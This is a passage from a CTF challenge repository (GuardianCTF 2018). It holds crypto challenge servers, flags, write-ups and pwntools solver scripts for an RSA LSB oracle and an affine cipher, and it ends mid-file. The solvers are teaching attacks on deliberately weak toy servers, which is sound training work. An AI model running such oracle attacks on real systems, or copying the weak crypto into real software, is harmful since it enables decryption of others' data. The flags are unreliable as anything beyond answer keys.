├── README.md ├── crypto ├── good_listener │ ├── README.md │ ├── binary │ │ └── keystroke.txt │ └── src │ │ ├── flag.txt │ │ └── generate.py ├── mini-diffie │ ├── README.md │ └── src │ │ └── dh.py ├── rsa-lsb-oracle │ ├── README.md │ ├── attack.py │ ├── flag │ ├── release │ │ ├── Dockerfile │ │ ├── flag │ │ └── server.py │ └── server.py ├── simple-cipher │ ├── README.md │ ├── attack.py │ ├── flag │ ├── release │ │ ├── Dockerfile │ │ ├── flag │ │ └── server.py │ └── server.py ├── token-generator │ ├── README.md │ ├── attack.py │ ├── flag │ ├── key │ ├── release │ │ ├── Dockerfile │ │ ├── flag │ │ ├── key │ │ └── server.py │ └── server.py └── youtube │ ├── README.md │ └── binary │ └── youtube.txt ├── forensic ├── a_copy_of_disk │ ├── README.md │ ├── binary │ │ └── copy.png │ └── src │ │ ├── disk.png │ │ ├── disk_reshape.png │ │ ├── gen.py │ │ ├── mask.png │ │ └── test.img ├── blink │ ├── .gitkeep │ ├── README.md │ └── b1ink.mp4 ├── creamheroes │ ├── README.md │ └── binary │ │ └── creamheroes.zip ├── interstellar │ ├── README.md │ └── binary │ │ └── interstellar.zip └── noisy │ ├── README.md │ ├── binary │ └── noisy.png │ └── src │ ├── check.py │ └── generate.py ├── pwn ├── bank_robber │ ├── README.md │ ├── binary │ │ └── bank_robber │ ├── exploit │ │ └── ex.py │ ├── release │ │ ├── Dockerfile │ │ ├── bank_robber │ │ ├── flag.txt │ │ ├── pwn │ │ └── run.sh │ └── src │ │ ├── bank_robber.c │ │ └── build.sh ├── bof_study │ ├── README.md │ ├── binary │ │ └── bof_study │ ├── exploit │ │ ├── ex1.py │ │ └── ex2.py │ ├── release │ │ ├── Dockerfile │ │ ├── bof_study │ │ ├── flag1.txt │ │ ├── flag2.txt │ │ ├── pwn │ │ └── run.sh │ └── src │ │ ├── bof_study.c │ │ └── build.sh ├── easy_calc │ ├── README.md │ ├── binary │ │ ├── easy_calc │ │ └── libc.so.6 │ ├── exploit │ │ ├── ex1.py │ │ └── ex2.py │ ├── release │ │ ├── Dockerfile │ │ ├── easy_calc │ │ ├── flag1.txt │ │ ├── flag2.txt │ │ ├── pwn │ │ └── run.sh │ └── src │ │ ├── build.sh │ │ └── calc.c ├── gsh_v1 │ ├── README.md │ ├── binary │ │ └── gsh_v1 │ ├── exploit │ │ ├── ex1.py │ │ ├── ex1_unintended.py │ │ └── ex2.py │ ├── release │ │ ├── Dockerfile │ │ ├── flag1.txt │ │ ├── flag2.txt │ │ ├── gsh_v1 │ │ ├── pwn │ │ └── run.sh │ └── src │ │ ├── build.sh │ │ └── gsh_v1.c ├── gsh_v2 │ ├── README.md │ ├── binary │ │ ├── gsh_v2 │ │ ├── gsh_v2.c │ │ └── libc.so.6 │ ├── exploit │ │ ├── ex1.py │ │ └── ex2.py │ ├── release │ │ ├── Dockerfile │ │ ├── flag2.txt │ │ ├── gsh_v2 │ │ ├── pwn │ │ └── run.sh │ └── src │ │ ├── build.sh │ │ └── gsh_v2.c └── hard_rop │ ├── README.md │ ├── binary │ └── hard_rop │ ├── exploit │ ├── ex1.py │ └── ex2.py │ ├── release │ ├── Dockerfile │ ├── flag1.txt │ ├── flag2.txt │ ├── hard_rop │ ├── pwn │ └── run.sh │ └── src │ ├── build.sh │ └── rop.c ├── rev ├── WTF │ ├── README.md │ ├── release │ │ └── WTF.txt │ └── src │ │ ├── encoded.js │ │ ├── flag.txt │ │ ├── obfuscated.js │ │ └── original.js ├── easy_big │ ├── README.md │ ├── binary │ │ └── easy_big │ └── release │ │ └── easy_big ├── killer_queen │ ├── Makefile │ ├── README.md │ ├── flag1.txt │ ├── flag2.txt │ ├── generate_flag2.c │ ├── killer_queen │ ├── killer_queen.c │ └── set_auth.sh ├── pysiha │ ├── README.md │ └── binary │ │ └── prob.pyc └── warmup │ ├── Makefile │ ├── README.md │ ├── rev_warmup.c │ └── warmup └── web ├── hash_browns_is_delicious ├── README.md ├── release │ ├── Dockerfile │ ├── flag.php │ └── index.php └── src │ ├── flag.php │ └── index.php ├── hello_web_world ├── README.md ├── release │ ├── Dockerfile │ └── src.tar └── src │ ├── css │ ├── animate.css │ ├── bootstrap.css │ ├── icomoon.css │ ├── style.css │ └── themify-icons.css │ ├── fonts │ ├── bootstrap │ │ ├── glyphicons-halflings-regular.eot │ │ ├── glyphicons-halflings-regular.svg │ │ ├── glyphicons-halflings-regular.ttf │ │ ├── glyphicons-halflings-regular.woff │ │ └── glyphicons-halflings-regular.woff2 │ ├── icomoon │ │ ├── icomoon.eot │ │ ├── icomoon.svg │ │ ├── icomoon.ttf │ │ └── icomoon.woff │ └── themify-icons │ │ ├── themify.eot │ │ ├── themify.svg │ │ ├── themify.ttf │ │ └── themify.woff │ ├── images │ ├── img_1.jpg │ ├── img_2.jpg │ ├── img_3.jpg │ ├── img_4.jpg │ └── loader.gif │ ├── index.html │ ├── js │ ├── bootstrap.min.js │ ├── jquery.easing.1.3.js │ ├── jquery.min.js │ ├── jquery.waypoints.min.js │ ├── main.js │ ├── modernizr-2.6.2.min.js │ └── respond.min.js │ └── sass │ ├── _bootstrap-compass.scss │ ├── _bootstrap-mincer.scss │ ├── _bootstrap-sprockets.scss │ ├── bootstrap.scss │ ├── bootstrap │ ├── _alerts.scss │ ├── _badges.scss │ ├── _breadcrumbs.scss │ ├── _button-groups.scss │ ├── _buttons.scss │ ├── _carousel.scss │ ├── _close.scss │ ├── _code.scss │ ├── _component-animations.scss │ ├── _dropdowns.scss │ ├── _forms.scss │ ├── _glyphicons.scss │ ├── _grid.scss │ ├── _input-groups.scss │ ├── _jumbotron.scss │ ├── _labels.scss │ ├── _list-group.scss │ ├── _media.scss │ ├── _mixins.scss │ ├── _modals.scss │ ├── _navbar.scss │ ├── _navs.scss │ ├── _normalize.scss │ ├── _pager.scss │ ├── _pagination.scss │ ├── _panels.scss │ ├── _popovers.scss │ ├── _print.scss │ ├── _progress-bars.scss │ ├── _responsive-embed.scss │ ├── _responsive-utilities.scss │ ├── _scaffolding.scss │ ├── _tables.scss │ ├── _theme.scss │ ├── _thumbnails.scss │ ├── _tooltip.scss │ ├── _type.scss │ ├── _utilities.scss │ ├── _variables.scss │ ├── _wells.scss │ └── mixins │ │ ├── _alerts.scss │ │ ├── _background-variant.scss │ │ ├── _border-radius.scss │ │ ├── _buttons.scss │ │ ├── _center-block.scss │ │ ├── _clearfix.scss │ │ ├── _forms.scss │ │ ├── _gradients.scss │ │ ├── _grid-framework.scss │ │ ├── _grid.scss │ │ ├── _hide-text.scss │ │ ├── _image.scss │ │ ├── _labels.scss │ │ ├── _list-group.scss │ │ ├── _nav-divider.scss │ │ ├── _nav-vertical-align.scss │ │ ├── _opacity.scss │ │ ├── _pagination.scss │ │ ├── _panels.scss │ │ ├── _progress-bar.scss │ │ ├── _reset-filter.scss │ │ ├── _reset-text.scss │ │ ├── _resize.scss │ │ ├── _responsive-visibility.scss │ │ ├── _size.scss │ │ ├── _tab-focus.scss │ │ ├── _table-row.scss │ │ ├── _text-emphasis.scss │ │ ├── _text-overflow.scss │ │ └── _vendor-prefixes.scss │ └── style.scss ├── siha's_diary1 ├── README.md ├── release │ ├── Dockerfile │ ├── app.py │ ├── diaries │ │ ├── eec.txt │ │ ├── gagang.txt │ │ └── myfirstwebsite.txt │ ├── requirements.txt │ ├── static │ │ ├── images │ │ │ └── favicon.ico │ │ └── styles │ │ │ └── list.css │ └── templates │ │ ├── diary.html │ │ ├── index.html │ │ └── list.html ├── requirements.txt └── src │ ├── app.py │ ├── diaries │ ├── eec.txt │ ├── gagang.txt │ └── myfirstwebsite.txt │ ├── static │ ├── images │ │ └── favicon.ico │ └── styles │ │ └── list.css │ └── templates │ ├── diary.html │ ├── index.html │ └── list.html ├── siha's_diary2 ├── README.md ├── release │ ├── Dockerfile │ ├── app.py │ ├── diaries │ │ ├── mysecondwebsite.txt │ │ ├── phrase1.txt │ │ ├── phrase2.txt │ │ ├── poem.txt │ │ └── poem2.txt │ ├── requirements.txt │ ├── static │ │ ├── images │ │ │ └── favicon.ico │ │ └── styles │ │ │ └── list.css │ └── templates │ │ ├── _search_result.html │ │ ├── diary.html │ │ ├── search.html │ │ └── search_result.html ├── requirements.txt └── src │ ├── app.py │ ├── diaries │ ├── mysecondwebsite.txt │ ├── phrase1.txt │ ├── phrase2.txt │ ├── poem.txt │ └── poem2.txt │ ├── static │ ├── images │ │ └── favicon.ico │ └── styles │ │ └── list.css │ └── templates │ ├── _search_result.html │ ├── diary.html │ ├── search.html │ └── search_result.html ├── siha's_diary3 ├── README.md ├── release │ ├── Dockerfile │ ├── app.py │ ├── diaries │ │ ├── flag.txt │ │ ├── mythirdwebsite.txt │ │ ├── phrase1.txt │ │ ├── phrase2.txt │ │ ├── poem.txt │ │ └── poem2.txt │ ├── requirements.txt │ ├── static │ │ ├── images │ │ │ └── favicon.ico │ │ └── styles │ │ │ └── list.css │ └── templates │ │ ├── _search_result.html │ │ ├── diary.html │ │ ├── search.html │ │ └── search_result.html ├── requirements.txt └── src │ ├── app.py │ ├── diaries │ ├── flag.txt │ ├── mythirdwebsite.txt │ ├── phrase1.txt │ ├── phrase2.txt │ ├── poem.txt │ └── poem2.txt │ ├── static │ ├── images │ │ └── favicon.ico │ └── styles │ │ └── list.css │ └── templates │ ├── _search_result.html │ ├── diary.html │ ├── search.html │ └── search_result.html └── siha's_diary4 ├── README.md ├── release ├── Dockerfile ├── requirements.txt ├── run.sh └── siha's_diary4.zip ├── requirements.txt └── src ├── run.sh └── siha's_diary4.zip /README.md: -------------------------------------------------------------------------------- 1 | # GuardianCTF 2018 problems 2 | ## Layouts 3 | In root directory, there's directories which names with each categories. Each directory must have layouts like below. 4 | ``` 5 | . 6 | ├── ... 7 | ├── {problemname}/ 8 | │ ├── README.md 9 | │ ├── src/ 10 | │ ├── binary/ 11 | │ └── release/ 12 | └── ... 13 | ``` 14 | 15 | ### `README.md` 16 | File that explains all the information of problem. Contents need to contain author, difficulty(baby, easy, normal, hard), write up, and hints. If have dependencies, you also have to write here. 17 | 18 | ### `src/` 19 | Directory that contains source codes which needed to be built. Examples will be C codes or shell script to compile. 20 | 21 | ### `binary/` 22 | Directory that contains all the files which will given to users at competition. 23 | 24 | ### `release/` 25 | Directory that contains all the files, scripts, environments which will be loaded to server. If we can just load src and run it, you can skip this directory with description in `README.md`. 26 | -------------------------------------------------------------------------------- /crypto/good_listener/README.md: -------------------------------------------------------------------------------- 1 | # Good Listener 2 | 3 | > author: 신동진(maro) / difficulty: difficult / points: 300 4 | 5 | ## Description 6 | 7 | 당신은 maro가 보내는 이메일의 내용을 알아내고자 그의 노트북에 초소형 도청기를 설치했다. 8 | 이 도청기는 키보드의 서로 다른 키 입력을 모두 정확히 구분하여 당신에게 전송한다. 9 | 다만, 어떤 소리가 어떤 키 입력에 해당하는지는 알 수 없다. 10 | 다행히도 당신에게 유용한 정보가 주어졌다. maro는 항상 메일의 끝에 "감사합니다"를 적고, 11 | 띄어쓰기와 개행을 제외하면 순수 한글 자모만으로 메일을 작성한다는 것이다. 12 | 이 정보를 활용하여, 주어진 키 입력 파일로부터 플래그를 찾아라. 13 | 14 | *이 문제는 플래그 형식 (GuardianCTF{[a-zA-Z_]})를 지키지 않습니다.* 15 | 16 | ## Hint 1 17 | 18 | Is it one-to one? (50) 19 | 20 | ## Hint 2 21 | 22 | https://ko.wikipedia.org/wiki/%EC%84%B8%EB%B2%8C%EC%8B%9D_%EC%9E%90%ED%8C%90 (150) 23 | 24 | ## Writeup 25 | 26 | 빈도 분석과 유사한 포맷이지만 빈도보다는 description에 주어진 키를 활용하여 구하는 것이 빠르다. 27 | '감사합니다'를 일대일 대응시키면 '습니다', '입니다' 등 문장의 끝 부분들을 활용하여 대응관계를 찾을 수 있는데, 28 | 진행하다보면 두벌식의 일대일 대응으로는 정상적인 문장이 불가능함을 알 수 있다. 29 | 힌트 2와 같이 세벌식 자판의 체계를 고려하여 일대일 대응이 아니도록 시도해보면 정답을 찾을 수 있다. 30 | 31 | ## How to run 32 | 33 | - Just deploy `keystroke.txt` 34 | -------------------------------------------------------------------------------- /crypto/good_listener/src/flag.txt: -------------------------------------------------------------------------------- 1 | 물론 해킹 공부는 잠재적인 범법 가능성을 갖고 있기에 높은 윤리적 수준이 없다면 위험한 일입니다 2 | 가디언은 어디까지나 법을 어기지 않으면서 활동하는 보안 연구 동아리입니다 3 | 가디언에서는 공격 기술을 실습할 수 있는 가상 환경을 구축하고 있으며 여러 해킹 대회에 참여하고 기업의 의뢰를 받아 모의 해킹을 실시하는 등 합법적으로 공부할 수 있는 다양한 기회를 제공합니다 4 | 실제로 대부분의 회원들이 아무 지식도 없는 채로 들어왔습니다 5 | 준비된 선배들의 강의와 자료들을 통해서 실력을 쌓아갈 수 있으며 해킹 보안 기술이 생각보다 어렵지 않고 재미있다는 것도 알 수 있을 것입니다 6 | 서울대학교 학생이라면 모두 가디언에 가입할 수 있습니다 7 | 컴퓨터공학의 한 분야이므로 컴퓨터공학부 학생들이 많이 소속되어 있는 것은 사실이나 해킹 기술 자체는 타 전공 학생들도 관심만 있다면 쉽게 배울 수 있는 것입니다 8 | 다만 가디언에 가입하기 위해서는 동아리 정기 모임과 스터디에 꾸준히 나올 수 있는 사람이어야 합니다 9 | 가디언은 매년 봄학기 초에 신입 회원을 모집합니다 10 | 홈페이지에 공지가 올라오면 신청서를 작성하여 제출한 후 정해진 날짜에 면접에 보러 오시면 됩니다 11 | 가디언은 해킹에 대한 열정과 호기심 그리고 틀에 갇히지 않은 자유로운 생각을 가진 사람들을 원하고 있으며 실력보다는 동아리 활동에 성실하게 참여할 수 있는지를 선발 기준으로 삼고 있습니다 12 | 플래그는 다음 문장에서 띄어쓰기와 특수문자를 제외한 전체입니다 13 | 세벌식은 너무나 멋져 14 | 감사합니다 15 | -------------------------------------------------------------------------------- /crypto/good_listener/src/generate.py: -------------------------------------------------------------------------------- 1 | from hangul_utils import split_syllable_char, split_syllables 2 | import random 3 | 4 | 5 | def generate(flag): 6 | cho_sung = { 7 | 'ㄱ': 'k', 8 | 'ㄴ': 'u', 9 | 'ㄷ': 'i', 10 | 'ㄹ': 'm', 11 | 'ㅁ': 'y', 12 | 'ㅂ': 'o', 13 | 'ㅅ': 'n', 14 | 'ㅇ': 'j', 15 | 'ㅈ': 'l', 16 | 'ㅊ': 'hl', 17 | 'ㅋ': 'hk', 18 | 'ㅌ': 'hi', 19 | 'ㅍ': 'ho', 20 | 'ㅎ': 'h', 21 | 'ㅆ': 'nn', 22 | 'ㄸ': 'ii', 23 | 'ㄲ': 'kk', 24 | 'ㅉ': 'll', 25 | } 26 | jung_sung = { 27 | 'ㅏ': 'f', 28 | 'ㅑ': '.g', 29 | 'ㅓ': 'r', 30 | 'ㅕ': 't', 31 | 'ㅗ': 'v', 32 | 'ㅛ': '.v', 33 | 'ㅜ': 'b', 34 | 'ㅠ': '.b', 35 | 'ㅡ': 'g', 36 | 'ㅣ': 'd', 37 | 'ㅐ': 'fd', 38 | 'ㅔ': 'c', 39 | 'ㅟ': 'bd', 40 | 'ㅘ': 'vf', 41 | 'ㅚ': 'vd', 42 | 'ㅢ': 'gd', 43 | 'ㅝ': 'vr', 44 | } 45 | jong_sung = { 46 | 'ㄱ': 'x', 47 | 'ㄴ': 's', 48 | 'ㄷ': ';z', 49 | 'ㄹ': 'e', 50 | 'ㅁ': 'z', 51 | 'ㅂ': 'w', 52 | 'ㅅ': 'q', 53 | 'ㅇ': 'a', 54 | 'ㅈ': ';e', 55 | 'ㅊ': ';q', 56 | 'ㅋ': ';x', 57 | 'ㅌ': 'sz', 58 | 'ㅍ': ';w', 59 | 'ㅎ': ';s', 60 | 'ㅆ': ';', 61 | 'ㄶ': 'sa', 62 | 'ㅄ': 'wq', 63 | } 64 | key_list = list() 65 | for c in flag: 66 | try: 67 | jamo = split_syllable_char(c) 68 | if len(jamo) == 2: 69 | k1, k2 = cho_sung[jamo[0]], jung_sung[jamo[1]] 70 | key_list += [k1, k2] 71 | else: 72 | k1, k2, k3 = cho_sung[jamo[0]], jung_sung[jamo[1]], jong_sung[jamo[2]] 73 | key_list += [k1, k2, k3] 74 | except ValueError: 75 | if c == ' ' or c == '\n': 76 | key_list.append(c) 77 | else: 78 | assert False, '"{}" is invalid'.format(c) 79 | keyset = list(set(''.join(key_list))) 80 | sound_map = {k: i for i, k in enumerate(keyset)} 81 | msg = '-'.join(['{:02x}'.format(sound_map[c]) for c in ''.join(key_list)]) 82 | with open('keystroke.txt', 'wt') as f: 83 | f.write(msg) 84 | 85 | if __name__ == '__main__': 86 | with open('flag.txt', 'rt') as f: 87 | flag = f.read().strip() 88 | generate(flag) 89 | -------------------------------------------------------------------------------- /crypto/mini-diffie/README.md: -------------------------------------------------------------------------------- 1 | # Mini-Diffie 2 | > author: 신동진(maro) / difficulty: easy / points: 200 3 | 4 | 다음은 Diffie-Hellman 키 교환의 일부를 감청한 결과이다. 최종적으로 만들어진 비밀 키를 찾으시오. 5 | 6 | ``` 7 | p : 739626899866411020995105608928036598669313466029070991080755558690 8 | g^a mod p : 711179711410010597110678470123112114105109101951029799116111114125 9 | g^b mod p : 256024696107603814959844249244320361077839276702370727681800001085 10 | ``` 11 | 12 | ## Write up 13 | 14 | https://chrsow.me/story/2017/03/18/easyctf-diffie-cult.html 15 | 16 | ## Hint 17 | 18 | - What is the prerequisites of Diffie-Hellman key exchange? Does this problem follows them? (20) 19 | - 소인수분해 (60) 20 | -------------------------------------------------------------------------------- /crypto/mini-diffie/src/dh.py: -------------------------------------------------------------------------------- 1 | def main(): 2 | flag = 'GuardianCTF{prime_factor}' 3 | k = int(''.join([str(ord(c)) for c in flag])) // 25 4 | p = 26 * k 5 | g = 3 6 | gap = 25 * k 7 | gbp = 7 * k 8 | print(f'p : {p}') 9 | print(f'g^a mod p : {gap}') 10 | print(f'g^b mod p : {gbp}') 11 | 12 | b = 5 13 | s = pow(gap, b, p) 14 | print(s) 15 | 16 | 17 | if __name__ == '__main__': 18 | main() 19 | -------------------------------------------------------------------------------- /crypto/rsa-lsb-oracle/README.md: -------------------------------------------------------------------------------- 1 | # RSA LSB Oracle 2 | 3 | > difficulty: medium / points: 200 4 | 5 | ## Description 6 | 7 | Do you know about oracle? 8 | 9 | ## Hint 1 (100pt) 10 | 11 | https://ctf.rip/sharif-ctf-2016-lsb-oracle-crypto-challenge/ 12 | 13 | ## write up 14 | 15 | attack.py 16 | 17 | ## how to run 18 | 19 | > python 3.6+ 20 | 21 | socat TCP-LISTEN:#port,fork,reuseaddr EXEC:"python server.py" 22 | 23 | ## how to deploy 24 | 25 | server.py, flag 서버에 디플로이 26 | server.py 공개 27 | -------------------------------------------------------------------------------- /crypto/rsa-lsb-oracle/attack.py: -------------------------------------------------------------------------------- 1 | import decimal 2 | from pwn import * 3 | from Crypto.Util.number import long_to_bytes 4 | 5 | r = remote('localhost', 9999) 6 | r.readuntil('n is ') 7 | n = int(r.readline().strip()) 8 | k = n.bit_length() 9 | decimal.getcontext().prec = k 10 | 11 | r.sendline('p') 12 | r.readuntil('flag is ') 13 | c = int(r.readline().strip()) 14 | 15 | r.sendline('e 2') 16 | r.readuntil('> ') 17 | p2 = int(r.readline().strip()) 18 | 19 | lower = decimal.Decimal(0) 20 | upper = decimal.Decimal(n) 21 | 22 | p = p2 23 | 24 | for i in xrange(k): 25 | mid = (lower + upper) / 2 26 | r.sendline('d ' + str(c * p % n)) 27 | r.readuntil('> ') 28 | cur = int(r.readline().strip()) 29 | if cur % 2 == 0: 30 | upper = mid 31 | else: 32 | lower = mid 33 | p = p * p2 % n 34 | print(int(upper)) 35 | print long_to_bytes(int(upper)) 36 | r.interactive() 37 | -------------------------------------------------------------------------------- /crypto/rsa-lsb-oracle/flag: -------------------------------------------------------------------------------- 1 | GuardianCTF{you_are_the_lord_of_the_oracle_ca824bfe4ad2f7a91926aeccd79605b45bdbb96b} 2 | -------------------------------------------------------------------------------- /crypto/rsa-lsb-oracle/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y socat 5 | RUN pip install pycrypto 6 | 7 | WORKDIR /root 8 | COPY flag . 9 | COPY server.py . 10 | 11 | CMD socat TCP-LISTEN:8000,fork,reuseaddr EXEC:"python server.py" 12 | -------------------------------------------------------------------------------- /crypto/rsa-lsb-oracle/release/flag: -------------------------------------------------------------------------------- 1 | GuardianCTF{you_are_the_lord_of_the_oracle_ca824bfe4ad2f7a91926aeccd79605b45bdbb96b} 2 | -------------------------------------------------------------------------------- /crypto/rsa-lsb-oracle/release/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Util.number import long_to_bytes, bytes_to_long 3 | 4 | privkey = RSA.generate(1024) 5 | pubkey = privkey.publickey() 6 | with open('./flag', 'rt') as f: 7 | flag = f.read().strip().encode('utf-8') 8 | 9 | def enc(s): 10 | return pubkey.encrypt(s % privkey.n, 0)[0] 11 | 12 | def dec(c): 13 | return privkey.decrypt(c % privkey.n) 14 | 15 | C = enc(bytes_to_long(flag)) 16 | 17 | print(f'n is {privkey.n}') 18 | while True: 19 | select = input('[p]rint flag\n[e]ncrypt\n[d]ecrypt\n> ') 20 | c = select[0] 21 | if c == 'p': 22 | print(f'flag is {C}') 23 | continue 24 | arg = select.strip().split()[-1] 25 | if c == 'e': 26 | print(f'{enc(int(arg))}') 27 | elif c == 'd': 28 | if int(arg) == C: 29 | exit() 30 | print(f'{dec(int(arg))}') 31 | else: 32 | exit() 33 | -------------------------------------------------------------------------------- /crypto/rsa-lsb-oracle/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Util.number import long_to_bytes, bytes_to_long 3 | 4 | privkey = RSA.generate(1024) 5 | pubkey = privkey.publickey() 6 | with open('./flag', 'rt') as f: 7 | flag = f.read().strip().encode('utf-8') 8 | 9 | def enc(s): 10 | return pubkey.encrypt(s % privkey.n, 0)[0] 11 | 12 | def dec(c): 13 | return privkey.decrypt(c % privkey.n) 14 | 15 | C = enc(bytes_to_long(flag)) 16 | 17 | print(f'n is {privkey.n}') 18 | while True: 19 | select = input('[p]rint flag\n[e]ncrypt\n[d]ecrypt\n> ') 20 | c = select[0] 21 | if c == 'p': 22 | print(f'flag is {C}') 23 | continue 24 | arg = select.strip().split()[-1] 25 | if c == 'e': 26 | print(f'{enc(int(arg))}') 27 | elif c == 'd': 28 | if int(arg) == C: 29 | exit() 30 | print(f'{dec(int(arg))}') 31 | else: 32 | exit() 33 | -------------------------------------------------------------------------------- /crypto/simple-cipher/README.md: -------------------------------------------------------------------------------- 1 | # simple cipher 2 | 3 | > difficulty: easy / points: 150 4 | 5 | ## Description 6 | 7 | This is a simple cipher. Just crack it. 8 | 9 | ## Hint 1 (50pt) 10 | 11 | https://en.wikipedia.org/wiki/Lorem_ipsum 12 | 13 | ## Hint 2 (50pt) 14 | 15 | https://en.wikipedia.org/wiki/Affine_cipher 16 | 17 | ## write up 18 | 19 | attack.py 20 | 21 | 실행하면 lorem ipsum텍스트를 무작위로 셔플해서 임의의 키로 affine암호화를 한 암호문을 보낸다. 22 | 키를 브루트 포스 해서 100라운드 통과하면 플래그 획득 23 | 24 | ## how to run 25 | 26 | > python 3.6+ 27 | 28 | socat TCP-LISTEN:#port,fork,reuseaddr EXEC:"python server.py" 29 | 30 | ## how to deploy 31 | 32 | server.py, flag 서버에 디플로이 33 | 코드 공개하지 말것 34 | -------------------------------------------------------------------------------- /crypto/simple-cipher/attack.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.log_level = 'debug' 3 | 4 | def egcd(a, b): 5 | if a == 0: 6 | return (b, 0, 1) 7 | else: 8 | g, y, x = egcd(b % a, a) 9 | return (g, x - (b // a) * y, y) 10 | 11 | def modinv(a, m): 12 | g, x, y = egcd(a, m) 13 | if g != 1: 14 | raise Exception('modular inverse does not exist') 15 | else: 16 | return x % m 17 | 18 | def v(c): 19 | return ord(c) - ord('a') 20 | 21 | def trans(c, a, b): 22 | ainv = modinv(a, 26) 23 | if not c.isalpha(): 24 | return c 25 | return chr(((v(c) + 26 - b) * ainv) % 26 + ord('a')) 26 | 27 | def enc(s, a, b): 28 | return ''.join(map(lambda x: trans(x, a, b), s)) 29 | 30 | r = remote('localhost', 9999) 31 | for i in xrange(100): 32 | r.readuntil('100\n') 33 | c = r.readline().strip() 34 | found = False 35 | for a in xrange(1, 26): 36 | if egcd(a, 26)[0] != 1: 37 | continue 38 | for b in xrange(26): 39 | m = enc(c, a, b) 40 | if m.find('lorem') != -1: 41 | print 'wow' 42 | print m, a, b 43 | found = True 44 | break 45 | if found: 46 | break 47 | r.sendline(m) 48 | 49 | r.interactive() 50 | -------------------------------------------------------------------------------- /crypto/simple-cipher/flag: -------------------------------------------------------------------------------- 1 | GuardianCTF{did_you_think_about_caesar_cipher__ding__it_is_wrong_answer_eefd950830ccba85cc82580eb85e0d4b014b2049} 2 | -------------------------------------------------------------------------------- /crypto/simple-cipher/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y socat 5 | 6 | WORKDIR /root 7 | 8 | COPY flag . 9 | COPY server.py . 10 | 11 | CMD socat TCP-LISTEN:8000,fork,reuseaddr EXEC:"python server.py" 12 | -------------------------------------------------------------------------------- /crypto/simple-cipher/release/flag: -------------------------------------------------------------------------------- 1 | GuardianCTF{did_you_think_about_caesar_cipher__ding__it_is_wrong_answer_eefd950830ccba85cc82580eb85e0d4b014b2049} 2 | -------------------------------------------------------------------------------- /crypto/simple-cipher/release/server.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | m = '''Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.'''.lower().split() 4 | 5 | with open('./flag', 'rt') as f: 6 | flag = f.read().strip() 7 | 8 | def v(c): 9 | return ord(c) - ord('a') 10 | 11 | def trans(c, a, b): 12 | if not c.isalpha(): 13 | return c 14 | return chr((v(c) * a + b) % 26 + ord('a')) 15 | 16 | def enc(s, a, b): 17 | return ''.join(map(lambda x: trans(x, a, b), s)) 18 | 19 | def gcd(a, b): 20 | if b == 0: 21 | return a 22 | return gcd(b, a % b) 23 | 24 | def gen_rand_key(): 25 | while True: 26 | a = random.randint(1, 25) 27 | if gcd(a, 26) == 1: 28 | break 29 | b = random.randint(0, 25) 30 | return a, b 31 | 32 | rounds = 5 33 | 34 | for i in range(rounds): 35 | random.shuffle(m) 36 | cur = ' '.join(m) 37 | print(f'round {i + 1} / {rounds}') 38 | a, b = gen_rand_key() 39 | c = enc(cur, a, b) 40 | print(f'{c}') 41 | guess = input('give me original message> ').strip() 42 | if guess != cur: 43 | exit() 44 | 45 | print(f'flag is {flag}') 46 | -------------------------------------------------------------------------------- /crypto/simple-cipher/server.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | m = '''Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.'''.lower().split() 4 | 5 | with open('./flag', 'rt') as f: 6 | flag = f.read().strip() 7 | 8 | def v(c): 9 | return ord(c) - ord('a') 10 | 11 | def trans(c, a, b): 12 | if not c.isalpha(): 13 | return c 14 | return chr((v(c) * a + b) % 26 + ord('a')) 15 | 16 | def enc(s, a, b): 17 | return ''.join(map(lambda x: trans(x, a, b), s)) 18 | 19 | def gcd(a, b): 20 | if b == 0: 21 | return a 22 | return gcd(b, a % b) 23 | 24 | def gen_rand_key(): 25 | while True: 26 | a = random.randint(1, 25) 27 | if gcd(a, 26) == 1: 28 | break 29 | b = random.randint(0, 25) 30 | return a, b 31 | 32 | rounds = 5 33 | 34 | for i in range(rounds): 35 | random.shuffle(m) 36 | cur = ' '.join(m) 37 | print(f'round {i + 1} / {rounds}') 38 | a, b = gen_rand_key() 39 | c = enc(cur, a, b) 40 | print(f'{c}') 41 | guess = input('give me original message> ').strip() 42 | if guess != cur: 43 | exit() 44 | 45 | print(f'flag is {flag}') 46 | -------------------------------------------------------------------------------- /crypto/token-generator/README.md: -------------------------------------------------------------------------------- 1 | # token generator 2 | 3 | > difficulty: medium / points: 200 4 | 5 | ## Description 6 | 7 | A vulnerable auth token generator. Can you get a secret? 8 | 9 | ## Hint 1 (5pt) 10 | 11 | https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_(ECB) 12 | 13 | ## Hint 2 (100pt) 14 | 15 | https://github.com/liamh95/CTF-writeups/tree/master/CSAW17/baby_crypt 16 | 17 | ## write up 18 | 19 | AES ECB모드의 특성을 이용해서 한바이트씩 FLAG를 추측가능 20 | 21 | ## how to run 22 | 23 | > python 3.6+ 24 | 25 | socat TCP-LISTEN:#port,fork,reuseaddr EXEC:"python server.py" 26 | 27 | ## how to deploy 28 | 29 | server.py, flag, key 서버에 디플로이 30 | server.py 공개 31 | -------------------------------------------------------------------------------- /crypto/token-generator/attack.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | table = 